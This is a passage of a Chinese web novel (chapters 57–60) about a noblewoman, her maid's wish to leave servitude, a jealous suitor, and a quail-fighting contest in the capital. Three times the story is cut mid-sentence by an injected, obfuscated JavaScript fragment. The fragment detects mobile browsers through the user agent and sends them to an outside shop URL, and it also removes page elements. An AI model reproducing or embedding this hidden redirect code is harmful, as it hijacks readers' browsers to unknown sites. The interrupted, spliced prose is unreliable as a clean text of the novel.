她想了想,低声开口:“主子可要同去?” 崔时清瞥了一眼窗外如影随形跟在父亲左右的纪危舟,阴阳怪气道:“人家处得多好,我去做什么?” 这是希望公子与侯爷处得好,还是处不好呢? 桑麻斟酌着,问道:“也不知公子会陪多久,不如让侍卫随身保护?” 虽说没了山匪,这条官道安全得很,但终归车来车往,侍卫还是大有可为的。 “还是你办事妥帖。”崔时清意味深长地看着桑麻。 “主子谬赞。” 桑麻也没耽搁,摇动车厢内的铃铛,不多时随护车驾的叶霖骑马上前。 “县主有何吩咐?” 桑麻:“侯爷在路边会友,你跟着过去瞧一瞧,若有什么需要的,随时过来禀报。” “……”能有什么需要? 叶霖正纳闷着,目光触及桑麻的眼睛时,后知后觉品出几分深意,随即颔首离去。 倚在凭几上,看着二人交谈的崔时清,没由来觉得他们相处得很融洽,对上桑麻的眼神里也多了些兴味。 “主子?”在近乎直白的注视下,桑麻莫名紧张了起来。 崔时清托着腮,眼睛扫过清秀流畅的轮廓,或许因为眉眼与奶娘柳氏如出一辙,让她天然多了些亲切感。 “他叫?” “叶霖,皆在国公爷身边护卫。”桑麻恭敬道。 崔时清又道:“多大了?可有婚配?” 桑麻眼皮跳了一下,但还是如实回答:“叶侍卫已到弱冠,未曾听过婚配之说。” 崔时清敲了敲矮几,“二十还没婚配,是何缘由?” “奴婢与叶侍卫并无私交,并不知晓其中内情,主子若有兴致,奴婢可前去探听。” 崔时清看着似是没有听出她言外之意的小婢子,也不绕弯。 “此事你不必插手。” “主子?”桑麻顿时无措。 崔时清扬了扬眉,淡笑道:“害怕什么?我还能逼你嫁人不成?” 望着眼前这双堪称温和的眸子,桑麻却不敢存有过多天真。 这是可以随意对她生杀予夺的‘天老爷’,她的一切都捏在此人掌中,一个兴致而起的念头,都不是她可以随意承受的。 车外阳光普照,桑麻却如坠寒潭。 她直愣愣地望着崔时清,声音微颤道:“奴婢不敢,奴婢不想嫁人。” 崔时清有些意外,一时分不清桑麻说的是什么意思。是不愿意嫁给叶霖、还是不愿意嫁给所有人。 “说清楚。” 若不是怀中还有小郎君,桑麻几乎想匍匐在地,开口乞求。她用尽全力平复着自己的慌乱,以尽可能平稳的口吻,说道。 “奴婢愿意终身不嫁,伺候主子左右。” 崔时清目光冰冷地看着她,扯了扯唇角,“你不嫁人,是为了我?” 在这样凌厉的目光下,桑麻咬着唇,努力让自己冷静,却依旧止不住地颤抖。 她不愿意成婚,她不愿意重复阿娘的人生。 生下儿女,再把儿女带入主人家中,生生世世为奴为婢,永远无法为自己做出、哪怕一个决定。 她很害怕,自己会成为阿娘那样,对子女的哭声视而不见的人。 伴她十余年,也许还会跟随她终生的枷锁。 她害怕,却愿意以身献祭。 就止于她吧,不要再随着血脉、代代流传了。 崔时清看不穿桑麻的心思,但面对她强忍惊惧的模样,还是压下了心中的不耐。 拿起矮几上的帕子,裹着指尖漫不经心地拭过她面颊上不受控制而落下的泪。感受着她的惧意,把帕子留下,抱过还在沉睡的丰年,神色漠然地注视着她。 “你的婚事我可以不过问,但你是阿姆唯一带在身边的女郎,若是伤了她的心,我便容不了你。” 崔时清知道桑麻和柳氏之间,也存了许多难以言说的隔阂,但是要求她推己及人,便有些异想天开了。 她生性本恶,自私自利、眼里容不得沙子,更偏私护短得很。 桑麻是阿姆的骨肉,她可以为了这双相似的眼睛,宽待小婢子;也可以为了这双相似的眼睛,剜掉让阿姆难过的腐肉。 也许在小婢子心中,错的是阿姆。 但是对她而言,对错与否根本就不重要,谁也不必与她说什么黑白之道,所有规则皆是狗屁。 ‘爱欲令其生、恨欲令其死’便是她的处世之道。 桑麻紧紧攥着沾了泪的帕子,没有再让眼泪落下,她知道崔时清不喜欢软弱之人。她也知道,自己相对于其他人的优势,可成为生机、也足以毁掉她。 生死、都在一线之间。 她缓慢地跪在崔时清的面前,抬起头,选择露出那双印着柳氏血脉的眉眼,艰难地开口道。 “奴婢是主子的人,婚事自是应当由主子做主。” 崔时清面无表情地看着桑麻,看着企图利用她,来对抗生母的女娘。 桑麻知道自己是在触碰崔时清的逆鳞,但她别无选择。即便她依旧无法掌控自己的未来,但起码眼下,她参与了自己的生死。 如此一来,即便逃不过一眼到头的人生,或许也可以少些后悔? 她目光坚毅,再次开口道:“求主子做主。” 这双眼睛。 崔时清抱紧了丰年,轻抚他有些不安的小身子,问道:“你恨阿姆?” 桑麻抿着唇,眸子空洞。 “你恨她什么?因为我?还是?” 崔时清突然福至心灵,看懂了这双充满绝望的眼睛,诧异道:“你不愿意当我的婢子,不,是不愿意当任何人的奴婢?” 桑麻依旧没有回答,但那双晦暗的眼睛里,却浮现了答案。 ——她不愿啊。 “为何?”崔时清难以理解。 从前朝开始,九州八荒战乱不休,饥民饿殍遍地。哪怕在先帝武皇的呕心沥血下,有了这三十多年的太平,但却并未真正平息战乱。外族侵扰、匪患四起,甚至还有前朝余孽躲在暗处。 一统天下,是她梦中的世界。 而眼下、真实的情况是寻常百姓犹如浮萍,饱受饥荒战乱之苦,盼入世家为奴为婢,求得庇护和温饱的数不胜数。 崔氏家生子多如牛毛,若非念及奶娘得力,怎会允其女入府? 然而,他们以为的善举却是逼迫良家女为婢? 崔时清不敢置信。 桑麻张了张嘴,正欲开口,她却挥手阻止。 “不必告诉我。” 崔时清有预感,就算桑麻说出理由,她恐怕也不能真正理解。她从来不是可以设身处地、为别人苦难感同身受的人。 对她而言,更重要的是如何处置此人。 “你想要什么?”崔时清思忖着,又道,“想来你也不愿高嫁为妾的,那么,若是可以脱离奴籍,你要做什么?” 桑麻仰视着崔时清,却抛下了所有的敬畏与恐惧,唇边噙着笑。 “主子问我可有怨恨,我不恨任何人。世道艰难、女子更是艰辛,但我只求堂堂正正走一趟,告诉阿娘、也告诉他们,成婚嫁人、为奴为婢并非女娘唯一的出路,我们或许也可凭自己的双手活下来,行走于世间。” “你想脱奴籍、立女户?”崔时清愕然。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057102|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 桑麻正色道:“我想。” 崔时清神色复杂,端起了矮几上的琉璃盏,注视着红汤摇曳的风姿,余光扫了一眼破釜沉舟的女子。 照理说,眼下她应该唤来护卫,把此等以下犯上的婢子拖走,让她明白多数人的命运、或者说普天之下便没有可以真正掌控自己命运的人。 何况是她。 不过,崔时清又有些好奇。 脱奴籍、立女户? 在这条荆棘丛生的道路上,赤着脚,又可以走多远。 随手把盏中冷凉的徘徊花汤泼向窗外,崔时清看着她,淡声道:“只望你不会后悔。” “奴婢不会。” 晦暗的眸子里闪过一丝暗淡的光,很快便被往日的沉闷掩盖,桑麻低下头,继续做起本分的奴婢。 仿佛方才的野心不过是荒唐一梦,说完了,便又清醒了。 但桑麻知道,她为自己赢来了一次喘息的机会,她不会后悔。 不多时,叶霖打马归来,隔着帘子低声回禀。 “三公子与苏家郎君一见如故,多在谈论文章功课。” 叶霖不敢把视线落入车厢内,见无人回应,便又道:“三公子不知苏家郎君还未出孝制,带了酒水,若非侯爷提醒,当即就要与苏家郎君对饮的。” 他不知道? 崔时清可不认为纪危舟会两耳不闻窗外事,恐怕是刻意在使坏吧。 透过身侧的帘子,看着苏珏离开后,寸步不离跟在父亲身边的纪危舟,也不知说了什么,把这几日都冷着面的人哄得眉开眼笑。 崔时清轻嗤一声,心里不痛快,恨不得告诉所有人。 这厮没得好心! 叶霖禀报完,默默退下。 随后,纪危舟回到车上,一眼便看到在崔时清怀中仰着小肚皮呼呼大睡的丰年,和默不作声跪在地上的桑麻。 “退下。”崔时清神情冷淡地说。 纪危舟看着崔时清没什么表情,但眼底的郁色却未散尽。用水净手,浸湿帕巾递与她,抱回了丰年,才问。 “发生何事了?可要我来处理?” 崔时清面色冷沉地睨着他,“能有什么事?你是第一日见我欺辱婢子了?处理?你要处理何人?又要教训我一顿?” 无辜遭受牵连的纪危舟捂住了小儿郎的耳朵,委屈道:“这都是以前的事了,那时你我还小呢。” 崔时清恍惚了一瞬,突然察觉自己说的是第一世。 以他没做过的事情来责怪他,似乎、不怎么、管他的! 崔时清凶巴巴道:“你现在懂事吗?人家师徒叙话,非得眼巴巴跟过去,恨不得使出浑身手段压过苏家七郎!你的清高呢?气节呢?没有!你就是狐狸精转世!” “……” 纪危舟无可辩驳,甚至对于小女娘细致入微的观察产生了一种微妙的喜悦。 他的小女娘,还真是聪敏过人!眼里心里都是他! “不狡辩了?”崔时清扯了扯唇角。 “软软说得无错,我自然要认的。”纪危舟笑了起来,黑眸晶亮,难掩他的兴奋。 这是什么癖好? 揪着他的狐狸尾巴,怎还骄傲上了? “不许吵。” 崔时清恨恨地瞪了纪危舟一眼,把帕巾丢给他,身子一扭,藏进了软垫中,不再理睬他。 马车重新上路。 崔时清偶尔会状似漫不经心地斜乜一眼对面的人,暗想道,这狐狸精到底是在得意什么?太讨厌了! 堵在心口的沉郁也在暗骂纪危舟间渐渐消解,昏昏沉沉睡着时,她甚至想。 以狐狸精的道行,或许会有两全之法。 58. 误解 没有来时的急迫,一行人马走走停停,第六日抵达京都。 一身疲惫地回到院中,沐浴更衣之后崔时清却没了睡意,蜷在榻上翻看账册。 柳氏端着一盅汤进了屋,看着面容严肃地核对账本的女娘,低声道:“可要用些羹汤?” “端来吧。” 崔时清看完最后一行,做了个记号,放下了册子。 柳氏盛了一碗汤,小心置于她手边。 合欢汤肉香扑鼻、浓而不腻,崔时清闻着味道便知是柳氏炖煮的,在期盼的目光下,她握着瓷勺不紧不慢喝了半碗。 “时娘来日奔波,可要让厨房送来午食,用完早点歇息?” “不必。”崔时清用帕子擦了擦嘴,看着柳氏问道,“阿姆想说什么?” 柳氏欢喜地从袖中取出一张红纸递与她,说道:“前段时日不是与时娘说过要为那丫头挑选夫婿吗?” 红纸上写了几个人的名字与生辰八字,崔时清粗略看了一眼,便对折放在账册上,指尖摁着开口。 “此事不急。” 柳氏惊讶地看着她,“距离时娘的婚期已不足两月,可得提前准备,不能再拖了。” 崔时清皱了皱眉心。 定下婚期的第二日,柳氏便来商议,希望尽快为桑麻挑选夫婿,提前成婚生子,将来也可照顾她和纪危舟的孩儿。 崔时清觉得没什么不妥,出一份嫁妆而已,哪怕她和纪危舟真有了孩子,顺了阿姆的心,让桑麻喂养也无甚关系。 当即便应了柳氏,让其挑好人选,她过目后若无问题,自会为他们做主。 没曾想来,如今会这般棘手。 视线落在指下,崔时清看着红纸与账册,心念微动,斟酌了片刻。 “阿姆没有发现桑麻并未随我回来吗?” “时娘派她何去?”柳氏莫名有些紧张。 崔时清拂落那张刺目的红纸,拾起账册看了眼,“我让她跟在崔竹身边,处理勉州的货物。” 此番去勉州,的确有一笔生意要处理,还运了几车茶叶回来。 回程时,她不愿意见到小婢子,便令她跟在车队后面,与大掌柜崔竹押运货物。没想到,此刻却是解了她心中的难题。 柳氏暗暗松了口气,“既然在京都,这婚事……” 崔时清敲了敲矮几,打断她,“阿姆,我身边不缺伺候的。” 柳氏有些惶恐地望着她,不知道自己说错了什么。 崔时清叹了一口气,拉着柳氏坐在身边,看着她说道。 “桑麻聪慧、是个有筹谋的女娘,跟在崔竹身边,若她得力,我可以许她掌柜之位。” 崔氏门下并不是没有女掌柜,但这些女娘多是门户败落的书香门第、或官吏之女出身的,从未听闻主人家的婢子当上掌柜的。 崔时清是柳氏养大的,知道她的脾性,当即便反应过来,又惊又怒道。 “这是她求来的?” 崔时清不再遮掩,颔首道:“她既不愿嫁人,阿姆也不必为此劳心劳力。” “可、奴家是做错什么了?惹得她如此埋怨?”柳氏红了眼睛,喃喃自语着。 “阿姆无错。”崔时清轻声安抚着。 然而这样的安慰却不见效,柳氏呜咽着直摇头。 “她总以为奴家在逼她,却忘了她那苦命的三个阿姐,若不把她领来,不是饿死、便是小小年岁受尽婆家磋磨。奴家便是如此过来的,要不是小主子,一家子只怕都不知死在何处了,她竟一点也不谅解!” 食指轻轻揩去柳氏面上的泪,崔时清握着她的手,软声道:“阿姆,亲缘是最不可强求的,你我皆是如此。随她去吧,你还有我的。” 柳氏悲从中来,也顾不得主仆之别,把崔时清搂进了怀中。 她失去了三个女娘,拼着在小主子面前挣来的薄面,把幼女带来身边。然而她的苦心,亲生女娘不谅解,反而责怪她将其带入崔氏为奴为婢,责怪她一心扑在小主子身上,从不与她亲近。 但在这吃人的世道,她一介弱女子能如何呢? 崔氏时娘不但救了他们,还是这世间第一个、也是唯一一个疼惜她的人,她的心不在此处,又要去往何地? 亲缘不可强求。 柳氏抱紧崔时清,哭得不可自抑。 崔时清任由她抱着,娇声娇气地哄着她。 “阿姆不要伤心了,你还得养着身子,长久陪在我身边,照顾、我以后的孩子。” “是,奴家还要给时娘看孩子呢!”柳氏压下心底的悲凉,抽噎着笑道。 崔时清故作严肃道:“既如此,阿姆不能这般爱哭了,要是养来一个小哭包,我可不依。” “不不不,奴家不哭了。”柳氏连忙擦干了泪。 “我想吃阿姆做的如意糕。” 崔时清窝在柳氏怀中,声音娇娇软软,直把人的心都软成了一滩。 “如意糕呀?奴家现在便给时娘做。” “阿姆哄我睡了再去。”崔时清摇了摇她,任性道。 “好,奴家哄着睡。” 柳氏再顾不上伤心,爱怜地搂着崔时清,像她儿时一样,轻哼小曲小调,拍哄着小女娘入睡。 原本是想闹闹柳氏,让她忘了难过,在熟悉的曲调中,崔时清却舒服地睡了过去。 柳氏轻手抚摸着崔时清的脊背,还想多抱抱怀中的小女娘,身边却不知何时多了一个人。 俊美的小郎君依旧不改温和、眉眼含笑,但一双漆黑的眸子注视着她时,却让柳氏不由感到惊骇。 这几月的光景,院中上下、没有不知的。 公子脾气好,最是温和随性。但对于小主子,却总是贪多、醋劲又大。有他在的时候,谁也不敢近小主子的身,唯恐犯了他的忌讳,被他笑盈盈地请走。 由此,即便是不舍,柳氏也不敢再僭越,紧张地把小女娘交与他,低头退下。 直到柳氏消失在眼前,纪危舟收起笑容,面无表情地拾起矮几上的红纸,随手扔在地上,抱起崔时清入了里屋。 动作熟练地剥去她的外衫,替她擦拭了一遍裸露在外的皮肤,看着躺在锦衾上,睡得香甜的小女娘,没有好脾气地在她的唇上重重亲了一口。 “小没良心的,也不见你什么时候与我撒过娇,对着旁人倒是大方得很。” 回应他的是一个不耐烦地挥手。指尖落下,睡梦中的人循着本能,身子一翻钻入了温软的锦衾中,留给他一个圆润的后脑勺。 纪危舟顿时被气笑,掀起锦衾看了一眼,见她没有装睡,便坐在床边,看着后脑勺,生着闷气、把玩起她的头发。 直到、察觉到小女娘转醒的动静,他怔怔然看着自己掌下,下一瞬便掀起下摆,慌慌张张跑了出去。 * “谁给我编的小辫子?!” 崔时清坐在床上,摸着乱糟糟的脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068273|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋上,一捧乱糟糟的辫子,气得眼皮直跳。 玄鱼和若兮匆匆进屋,也被崔时清的头发吓了一跳,在她更生气之前,若兮只得屈膝委婉地答道。 “公子来过,刚刚才‘走’。”走得如风般快,原是逃命去了! “……混球!他疯了不成!” 崔时清骂骂咧咧地拆着小辫子,要不是还有一丝理智,恨不得一剪刀把这些玩意都绞了。 “主子莫急,奴婢来帮您!”玄鱼自告奋勇。 崔时清瞥了一眼她,当即指向若兮,“你来。” 玄鱼瘪了瘪嘴:“……” 若兮取来篦子,跪在她身后拆解辫子。崔时清越想越不甘心,两股怒焰在眼中熊熊燃烧。 “你说他是刚走的?” “是,公子刚走片刻。” “这狗东西,有本事逃、就不要再来了!” 崔时清话音刚落,纪危舟便露了面,看似云淡风轻地慢悠悠走了进来。 “你还敢出现?!”崔时清咬牙切齿。 纪危舟神色自然地笑道:“软软刚醒,便惦记我了?” 若兮放下篦子,拉着玄鱼退出里屋,生怕会被殃及。 “是啊!惦记!” 在纪危舟靠近时,崔时清一个猛扑,双手掐住了他的脖颈,怒吼道:“惦记着如何杀了你!” 纪危舟也不挣扎,扶着她的腰,高举手中的盒子,“软软对我有误解。” “……什么误解?你看看、证据还在我脑袋上!”崔时清凶神恶煞地掐着他,恨不得摇断他的脖子。 “我好不容易才编的辫子,怎么给拆了?”纪危舟把女娘放在膝上,语气可惜地拨弄着她的头发。 “哦、我还要与你道歉吗?是谁?是谁允许你动我头发了!” 崔时清怒极反笑,探起手,就想拔光他的头发。 纪危舟忙不迭按住她,睁着无辜的眼睛,狡辩道。 “软软当真误会了,我可没有戏弄之意,辛苦编这辫子全是为了过几日的冬兴斗戏。” 没抓到他的头发,崔时清反手往纪危舟的胸口捶了一拳,扯着唇角冷笑道:“编、你继续编!冬兴斗戏与我头发有什么关系?!” 纪危舟一派从容地打开盒子,把红珊瑚与小金铃串成的发饰链子与她看。 “软软不是喜欢小铃铛吗?这是我命人打造的链子,等到冬兴斗戏日,编了发、再穿上红狐做的骑装,你我同去玩乐博戏,岂不快哉?” 出门玩? 指尖勾起发链,米粒大小的金铃随之叮当作响,崔时清在发间比划了一下,指尖勾缠着链子,浑不在意地瞥了他一眼。 “你想看斗戏,打扮我做什么?” 纪危舟极尽谄媚道:“我不如软软好看,再如何折腾也是无用的。” “我确实漂亮。”崔时清拨弄着夹杂链子的发丝,又不甚满意地斜乜着他,“没见过你这么笨的!连个辫子都编不好。” 当时正嫉妒柳氏,等他回过神来,便编了一头怪模怪样的辫子,好在拼了命赶回院子,把过几日才要进贡的发饰取了过来,否则都不知要如何收场。 纪危舟抚了抚乱跳的心,松了口气,又有些蠢蠢欲动。望着爱娇的女娘,不动声色地凑了过去。 “再让我试试?” “滚开!” “再试一次,就一次。” “唉疼!纪三郎,我要杀了你——” 59. 斗戏 立冬休沐,京都城中百姓皆游街博戏、消遣玩乐。 街头巷尾人头攒动,金鼓呐喊之声不绝于耳,还有不少专程从远乡赶来参与盛会的农户,借机挣上一笔,揣着冬日的炭火酒钱欢喜归家。 崔时清编着漂亮的发辫,叮叮当当出了门。 “主子,我们不等公子吗?”坐在车上,玄鱼忐忑地问道。 昨儿还听他们提及冬兴斗戏,没想到今日一早,主子却一声不吭、悄摸摸跑了? “我可没说过要与他一起出门。”崔时清拨弄着身前的辫子,慢声慢气道。 “……”没说吗? 崔时清看着玄鱼困惑的神色,毫无负担地笑着。 马车一路行到金玉楼,李昶已经在门前等着,看到国公府的车马过来,提着竹笼小跑上前。 “姑奶奶来得正好!” “拿到了?” “在这儿呢!费了不少劲,真真的‘牛不换’!” 崔时清利索地下了车,低头扒拉着李昶手中的笼子,看到黑嘴白须、眼睛乌溜溜的鹌鹑,顿时喜了。 “叫什么?” “有个‘飞盗’的诨名,姑奶奶可要重新取一个?” 从小厮手中取来一颗谷粒,透过缝隙扔了进去,看着飞盗展翅追食,崔时清满意地笑了笑。 “飞盗好,就叫这个,还有多久开始?” “一炷香后开始第一局。”李昶看着她喜欢,笑得合不拢嘴。 崔时清点着头,迫不及待跟着李昶入楼。 金玉楼,京都城中第一的斗戏楼子,每逢秋末冬时权贵子弟皆会齐聚楼里斗鹌鹑。 按照鹌鹑的品级,分为三等,也分三间阁子。 第一等入天字阁,筹码百金起,随机两两相斗。以往真正的‘牛不换’作为胜者留下,最高为主人赢过上万两银子,获得‘斗戏王’的美名,扬名京都。 名利的诱惑,让向来追求刺激的权贵纨绔皆为之疯狂,从入秋挑选鹌鹑,便下足血本。 天字阁的正中间是斗鹌鹑的玉盆,两侧分别放置软垫,供驱使鹌鹑搏斗止战的教宠师使用。 周围设置一圈高座,可使权贵饮茶观战。 崔时清和李昶入内时,已有十多人入座,正在闲谈评说彼此的‘必胜将军’。 “时娘,来这儿。” 蔡梦期面颊红扑扑,兴奋地挥手喊他们。 “蔡家阿兄。”崔时清与蔡梦期的兄长蔡文打了个招呼,把李昶寻来的宝贝与他们看,眼睛晶亮道,“如何?” “何处寻来的!这可比去岁那只‘阎王’强多了!”蔡文眼红得不得了。 崔时清和李昶神秘兮兮地笑了笑,召来金玉楼的掌柜,把飞盗交到他们手中。 “今年的斗戏王可轮到我们了。”崔时清得意洋洋。 “姑奶奶是大王,我是小王!”李昶想也不想便道。 “嘿嘿!”崔时清拍了拍他的肩膀,欣赏他的懂事。 “县主要下多少金?”掌柜为飞盗挂好牌子,拿着册子问道。 崔时清扬眉道:“一百两。” “这么少吗?”蔡梦期知道他们费了不少功夫,只百金定是拿不下这只鹑王的。 李昶不求斗戏发财,但求玩得尽兴,对于注码多少倒是没什么意见。 “不少。”崔时清坐在座上,笑道,“这可是‘牛不换’,如无意外是要杀入决赛的,前面十多轮赢的用以加注,还怕挣不够吗?” “话虽如此,时娘还是存了善心。” 蔡文与李昶一样,看着和自家阿妹一起长大的崔时清是哪哪都好。但他这话一出,却惹得身后的人一阵嗤笑。 他愤慨地回过头,却顿时面露惊喜,看着许久不见的贵妃之子赵洛行笑道。 “表兄,你怎么来了?” 当今贵妃是他的亲姑母,蔡家兄妹幼时经常出入皇宫,跟着赵洛行在宫中闲逛‘打猎’,崔时清与赵洛行的相识也是因为他们。 “表弟对善心的见解,令我大开眼界啊。”赵洛行似笑非笑地拍了拍他的肩膀,把弱不经风的蔡文拍得软了脚。 “大皇子有高见?”崔时清落下茶盏,斜乜着他。 “不敢不敢。”赵洛行大大咧咧坐在她的身边,挑拣着糕点。 崔时清冷笑道:“皇长子回京都才几日,便眼巴巴跑来金玉楼,就不怕被弹劾?” 虽说斗戏风靡京都,但‘正经人家’、还指望在庙堂中青云直上的郎君可不敢来金玉楼里一掷千金,不是偷偷摸摸在别苑开个小局,就是在街巷里洒个千百钱,尽兴了便作罢。 因而天字阁里,遍眼望去都是他们这样混吃等死的纨绔。 本来皇长子脾性,来这里也没什么,但他刚刚在剿灭勉州匪患中出了力,名声好听了几日,立刻上赶着找骂便不妥了。 “时娘这是担心我啊?”赵洛行嬉皮笑脸道。 看了一眼周围默默竖起耳朵、眼睛直转悠着偷听的人,李昶冷声道。 “请殿下注意分寸。” “哟,你还真有孝心啊。”赵洛行阴阳怪气地看着李昶。 “比之殿下还是差了点。”李昶笑了笑。 “胆大这一点,本皇子还是自叹不如。”赵洛行盯着挂了‘飞盗’签子的鹑王,咬了咬牙。 蔡文和蔡梦期相视一眼,看出了些许端倪。 “怎么,你也喜欢我们家飞盗?”崔时清面无表情说。 听到这话,赵洛行更生气了,恶狠狠瞪了一眼李昶,粗声粗气道:“飞盗原本可是我家的!你的乖孙倒好得很,也不知使了什么招数,居然把本皇子定的鹑王给抢了去!” 李昶气势汹汹反驳:“买鹑王本就是各凭本事,东西没到手中,殿下凭什么说飞盗是你的?” 什么皇子不皇子,他可不惧。 在纨绔恶霸圈子中混了这些年,靠得就是浑身胆、与万般抗揍的本事! 连老太爷手中的棍棒他都不怕,还能怕这劳什子皇子了?! “你属实有些小儿脾气了,怎可如此与表兄说话?” 见李昶横劲上了头,蔡文有些着急,连忙打圆场,偷瞥着边上五大三粗的表兄,拉扯李昶的衣袖,低声提醒着,唯恐这瘦弱的小身板扛不住拳头横死于金玉楼中。 “我家表兄可杀过土匪!像切菜一样唰唰砍了二百七十个土匪啊,多吓人!” 李昶瑟缩了一下,咽了咽口水,被蔡文说得心慌慌的。但姑奶奶在此,他不想丢了她的面子,便强忍惧色,埂着脖子对抗。 看出李昶的强撑,赵洛行用马鞭敲了敲高脚几,横眉怒目道:“敢让老子受气了?” 崔时清皮笑肉不笑地盯着赵洛行,“怎么着?大皇子是想公然抢我的鹑王?” 赵洛行立马卸去了浑身的戾气,慵懒地靠在椅背上,看着中间的玉盆,玩味地笑了笑。 “我这不是来道个委屈吗?好不容易看上的鹑王,出价五百两,却买了个次品,这搁在谁身上也受不了呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085217|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 崔时清不耐烦地斜睨着他,“鹑王可遇不可求,何时可以强买强卖了?你觉得这是委屈,且就受着吧。” “县主实在无情。”赵洛行托着腮,直摇头道。 金锣敲响、鼓声点点。 所有人都噤了声,目不转睛地看着教宠师随机捉取一对鹌鹑,放入台中。随着斗曲奏响,玉盆里的鹌鹑相护啄咬缠斗,不过几圈,毛色斑驳的鹌鹑便不负众望败落而逃。 “第一局、江世子胜。” 阁远侯之子江相明。 崔时清默不作声地看向斜对面,一手饮酒、一手随散赏钱的江相明。 “这厮不去花楼,来此显摆什么?”李昶厌恶道。 虽说同为纨绔,李昶可看不上江相明这种还未及冠便流连于花街柳巷,养了好几户外室的色中饿鬼。 蔡梦期瞥了一眼浑身酒色之气的江相明,也皱着眉,收回了视线。 “阁远侯的世子定亲了,你们猜猜是谁家的?” 蔡文问完,几个齐刷刷看向他。 这京都城中谁还不知江相明的丑闻,稍微要点脸面的人家都不会同意结亲,但听蔡文这意思,女娘还是他们熟知的,这谁还能不好奇了? 蔡文吊足他们胃口以后,才道:“王家嫡女。” “什么?你说王思玉?王家怎会答应?”蔡梦期惊愕地瞪着眼睛。 即便和王思玉关系差,也不妨碍蔡梦期为她不平。这样的人啊,谁家女娘嫁过去都是可怜。 蔡文撇了撇嘴,说道:“自王重罗失踪以后,王尚书便有意把庶子过到正室夫人名下,为此嫡庶斗得不可开交。王思玉技不如人,也只得认栽。” 后宅阴私,一句技不如人,却让人不由胆寒。 崔时清有些惊讶,转而看向左边的赵洛行,想再探听些内幕。 宫中淑妃是阁远侯的庶妹,此人处事圆滑,与贵妃的关系十分亲厚。 淑妃无宠多年,名下的四皇子赵萧琛平庸不得圣眷,只有三公主赵月凌在今上面前有几分薄面。这些年若非倚仗贵妃,恐怕过得连淑仪美人也不如。 “我不知道。”赵洛行喝了口茶,慢声道,“但、淑妃娘娘病了一段时日,看来阁远侯也急得很,要趁着诞节宫宴前定下儿子的婚事。” 这是认为贤文帝生辰宫宴,淑妃会病得不能出席了? 真有意思,贵妃蔡妙妍的病症,这一世居然过给了淑妃。 一切真是不同了。 包括…… 崔时清状似无意地勾了勾蔡梦期的手,对上她的眼神,弯唇笑了笑。 公主府刺杀案后,贵妃会‘久病缠绵’,再出席不了任何宫宴,蔡家亦随之式微。 上一世,在她离开京都、赶往勉州茂县前,蔡尚书被削职罢官,而她的至交好友坐着一顶花轿,匆匆嫁入江家,成为江相明的新妇。 崔时清不知蔡梦期嫁入江家的缘由,派出的探子还没回来,她却收到蔡梦期在江家后宅被磋磨致死的消息,彼时距离她嫁与江相明还不足一月。 整整八世,崔时清无法想象,这般骄傲明艳的女娘是如何度过那最后的十四天、被碾入尘泥的十四天。 没有一个人来救她。 崔时清握紧了掌下的柔荑,注视面前依旧迎着朝阳而生的女娘。 也不知,上一世派出的杀手有无成功,把江相明千刀万剐、做成人彘。 没有也无甚关系。 这一世,让他一起还清吧! 60. 行凶 飞盗成为金玉楼今年的赢家,为崔时清和李昶赢来了五千两。 遵循旧例,人人有份,由崔时清、李昶和蔡家兄妹均分。 赵洛行? 他们一致认为,可以暂时不必称其为人。 在胡闹了一通,赚足天字阁里的羡慕与嫉妒,崔时清和蔡梦期便要花掉这笔钱,结伴来到青云阁。 看了许久,也没有入眼的衣裙,蔡梦期揪着崔时清的袖子,连连叹气道。 “你家三郎的制衣铺子何时开呀?” “他忙着呢,哪里顾得上开铺子?” 衣食无忧、享尽一切便利的崔时清,除了出门玩乐和暗中做坏事,恨不得纪危舟不离左右,哪还舍得让他开铺子? “忙什么?我听说陛下有意提拔他为昭宣使,你家三郎却推脱了,非要做这校书郎,可平日却不见他往国子监或藏书阁去,已有不少人在骂你了!” “骂我什么?”崔时清瞪着眼睛。 蔡梦期抬起她的下颌,揶揄道:“骂你红颜祸水呀,把纪家好儿郎迷得没了志气,不务正业。” “哦,原来是嫉妒我生得漂亮啊。”崔时清当即没了脾气。 “你呀你!”蔡梦期颇为无语,点了点她的眉心,“你是如何想的?” 崔时清知道好友问的是什么,扬着眉,直言道:“我有钱,养得起他。” “你——”蔡梦期刚开口,又忍不住眼巴巴瞅着她,“我真恨自己不是男儿身。” “女儿身也可嫁入我家呀。”崔时清捏了捏滑嫩的小脸蛋。 “啊,你家阿兄不是不爱洗澡吗?这让我很为难的。” “噗!你!”崔时清笑得眼泪都掉了出来,一边拭泪一边解释道,“那是小时候啦,现在、不会了……” “崔氏时娘,你要劝服我,敢不敢真诚地看着我的眼睛说话。”蔡梦期双手叉腰。 